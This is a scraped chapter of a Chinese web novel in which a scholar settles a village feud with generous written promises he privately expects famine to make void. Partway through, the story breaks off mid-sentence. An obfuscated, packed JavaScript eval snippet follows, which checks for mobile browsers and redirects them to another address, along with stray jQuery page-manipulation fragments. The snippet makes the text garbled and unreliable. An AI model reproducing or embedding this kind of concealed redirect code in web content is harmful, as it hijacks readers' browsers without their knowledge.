第148章 空手套白狼

作品:《穿越成渣爹,开局得签到系统

    江河也有些意外的看了这个大侄子一眼。


    万没想到,这小子在危急关头竟然会有如此大的魄力,为了能重归老宅,挽回家族的声誉,他这么做也算是下了血本了。


    只是,他为何要这么急迫的从县城里回来呢?


    按照正常人的思维谋算,现在绝对不是老宅一家回归下河村的最佳时机。


    赵神婆的案子刚结,老宅一家无罪释放的消息也才刚传回村子不久。


    现在正是王老四、王小顺两家苦主情绪最为激动,愤怒与恨意也最为强烈的时候。


    他们这个时候回来,不是在火上浇油,自己给自己找不痛快吗?


    看江贤方才的表现,这小子绝对不是那种头脑简单、无勇无谋之人。


    既然如此,那他为何还要挑选这样一个不合时宜的日子从县城里回来?


    是没钱吗?


    肯定不是。


    不说王家五虎昨天带回来的那三贯钱,就说刚刚江贤随手从怀里掏出的那两贯余钱的赔偿,都足以证明,他们手中不但有钱,而且应该还有不少存余。


    既然不是钱的问题,那就只能是粮了。


    想到之前江天回来时曾说过,从前天开始,县城内的粮价不仅又涨了不少,且限购条件也变成了每户人家每天只能买十斤粮食。


    现在两天过去了,县城内的粮价怕是已经涨得更高,甚至就连限购条件估计也有所变动。


    看江贤他们这般着急忙慌的从县城内回来,多半是他们在县城内已经买不到足够支撑他们一家糊口的粮食了。


    所以,哪怕明知道现在的下河村就是一个火坑,知道村子里有不少人都在等着找他们的麻烦,看他们的笑话,他们还是不得**着脸皮回来了。


    “嘶~!”


    想到这里,江河忍不住长吸了一口冷气。


    “连江贤这样的秀才公在县城内都没有办法买到足够一家人吃饱的粮食,足见现在县城内的粮食已经紧张成什么样子了。”


    “真正的粮荒怕是马上就要来了!”


    想到这里,江河不由深看了村口正在侃侃而谈,不断给王老四、王小顺及一众乡亲们画大饼的江贤,瞬间就明白了这小子的真正用意。


    凭江贤这小子的聪明才智,不可能会看不出接下来整个三河县,甚至整个川南郡,都会面临着一场前所未有的饥荒与祸乱。


    现在,不管他给眼前这些村民们做出了多么诱人的承诺,什么十亩良田,什么私塾任教与门人弟子的名额。


    在真正的粮荒到来之后,村子里的这些人有多少能活到明年都是个问题。


    届时,十室九空,所有人都在为填饱肚子,为怎么活下去绞尽脑汁,谁还会再有闲心来找他兑现之前的承诺?


    也就是说,他现在所做的一切,基本上就在空手套白狼,根本就不需要付出任何实质性的成本代价。


    只凭着一张嘴,几句无须兑现的承诺,就轻易地化解了眼前困扰着他们一家人的最大难题。


    “这小子,果然也是个心黑的,而且要比老宅那几口人加起来,都要阴毒、狡猾得多。”


    江河心中轻声自语,再看向江贤时,目光中不觉就多了几分警惕、防备之色。


    村口处。


    老族长王德顺压下心头的激动,再次正色开口向江贤问道:


    “江贤,你此言当真?”


    “这分田、执教、收徒之事,皆非儿戏!尤其是你还要确保两名弟子取得秀才功名之事,更是非同小可!”


    “这些承诺你既已许下,日后若不能一一兑现,于你的名声前程必将有损,你可要想清楚了!”


    江贤迎着老族长的目光,没有丝毫退缩,斩钉截铁道:


    “老族长,江贤愿立字为据!所有承诺,白纸黑字,请族老、里正及在场所有乡亲共同见证!”


    “日后若有违背,江贤愿自请革除功名,永不再考,并任凭族规处置!”


    “好!”


    王德顺等的就是这句话,他转向王老四和王小顺,语气变得语重心长,道:


    “老四,小顺,你们可都听到了?”


    “江贤此诺,可谓倾其所有,诚意十足!


    一半田产,足以弥补你们两家损失。


    执教收徒,更是为你们两家乃至全村后辈铺开了一条青云之路!”


    “所谓冤家宜解不宜结,江家固然有错在先,但如今江贤已代家人认错,并拿出如此厚重的补偿和承诺,也算是能给你们一个交待了,你们以为如何?”


    不等王老四与王小顺开口回答,王冶山也适时接口,语气中带着几分郑重其事:


    “江贤是咱们下河村的读书种子,又是秀才公,前途远大。他今日既在我等跟前许下此诺,必会竭力完成。”


    “你们两家若能因此一事,各自供养出一个秀才公,那便是改换门庭,光宗耀祖!”


    “此等机缘,旁人求都求不来,何必还要再执着于一时意气,非要拼个你死我活?”


    “听老夫一句劝,不如就此放下彼此之间的恩怨,大家一团和气把以后的日子过好,如何?”


    王老四和王小顺其实早就已心动不已,只是碍于脸面一直没好意思直接点头表态。


    此刻听到老族长和里正都如此劝说,台阶已经架好,他们便借坡下驴,同时缓缓点头。


    王老四深吸一口气,有些目光复杂地看了江贤一眼,轻声道:


    “罢了……既然老族长和里正都这么说,江贤这小子也算诚意十足,那就……依他说的办吧!”


    王小顺也跟着点头,脸上甚至挤出了一丝僵硬的笑容:


    “行,就这样吧。江贤侄儿,你有心了,以后咱们两家……还是好乡亲。”


    虽然这话说得有些言不由衷,但至少表面上的和解姿态已经做出来了。


    江贤闻言,心中一块大石终于落地,他温笑着拱手向王老四及王小顺躬身一礼,道:


    “多谢王四伯,小顺叔宽宏大量!小侄感激不尽!”


    “你们放心,小侄方才所做出的承诺,必将一一如约兑现,若有半分违背之处,小侄甘受两位叔伯的任何惩罚!”


    王老四与王小顺同时轻点了点头,没有再说别的话。


    王德顺见状,立


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983823|193410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻让人拿来纸笔,就在村口大槐树下,当场开始书写相应的文书字据。


    文书的内容基本上就是按照江贤所说,分田、执教、收徒、确保秀才功名,条条款款,写得清清楚楚。还加上了相应的违约条款。


    江贤、王老四、王小顺作为三方当事人,当场签字画押。


    王德顺、王冶山及几位族老作为见证人,也一一签名留印。


    当墨迹干透,最后一份字据被小心收起时,这场轰轰烈烈的村口对峙,终于以一种看似“圆满”的方式,暂时落下了帷幕。


    围观的人群,看着拿到文书字据的王老四与王小顺,羡慕、嫉妒、感慨、鄙夷、算计……各种目光交织层叠。


    王老四和王小顺两家人,则被巨大的喜悦和期待冲昏了头脑,簇拥着各自的族人,开始热烈地讨论起如何分配田地,以及该送哪个孩子去江贤门下。


    江贤看着眼前这一幕,眼中不由浮现了一丝嘲讽的笑意。


    这些蠢货,还真以为自己占了多大的便宜。


    却不知,接下来灾荒将至,他们这些人,以后有没有命能活到他兑现承诺的那一天,都还是个未知数。


    见围观的人群逐渐散去,江贤转过身,看了一眼仍是有些不知所谓的江达,冷声向他吩咐道:


    “二弟,去把地上那些钱捡起来,然后咱们也该回家了。”


    之前被王老四拍打在地上的那两贯钱的赔偿,事后都没有人再提起。


    王老四与王小顺自觉已经占了天大的便宜,也没好意思去捡。


    这倒是正合了江贤的心意,他正发愁接下来该怎么筹到更多的钱去收粮呢,现在自然是能省一笔是一笔。


    “知道了!”


    江达虽然心中不爽,却还是乖乖的弯身去把那散落了一地的铜钱和碎银子捡了起来。


    他也知道自己刚刚说错了话,搞得大哥很被动,这时可不敢跟江贤顶嘴。


    “哥,你真的准备要把家里一半的田产分给王老四与王小顺两家么?”


    捡回钱袋后,江达将之送到江贤的手中,同时开口向江贤问道。


    “那可是爷奶和爹娘攒了半辈子的家底,你就这么直接给送人了,他们待会儿能愿意才怪……”


    “你给我闭嘴!”


    江贤没好气的狠瞪了江达一眼,淡声道:


    “我敢这么做,自然是有办法能够说服爷奶和爹娘,你就别在这里跟着瞎掺和了!”


    说完,江贤径直转身又回到了马车上。


    片刻,马车再次启动,吱吱呀呀地驶入了下河村。


    不远处,贾郎中家的院子里。


    江河也缓缓收回了目光,脸上的表情似笑非笑,没有多言。


    倒是贾不为,远远的看到围在村口的人竟然全都散了,江家的马车也顺利进了村子,不由有些奇怪的嘟囔道:


    “咋回事儿,竟然没有打起来?”


    “看王老四与王小顺之前摆出来的架势,我还以为今天要见血呢,怎么现在却半点儿动静也没有闹出来?”


    “这样的话,那我这些草药和药酒,岂不是全都白准备了?”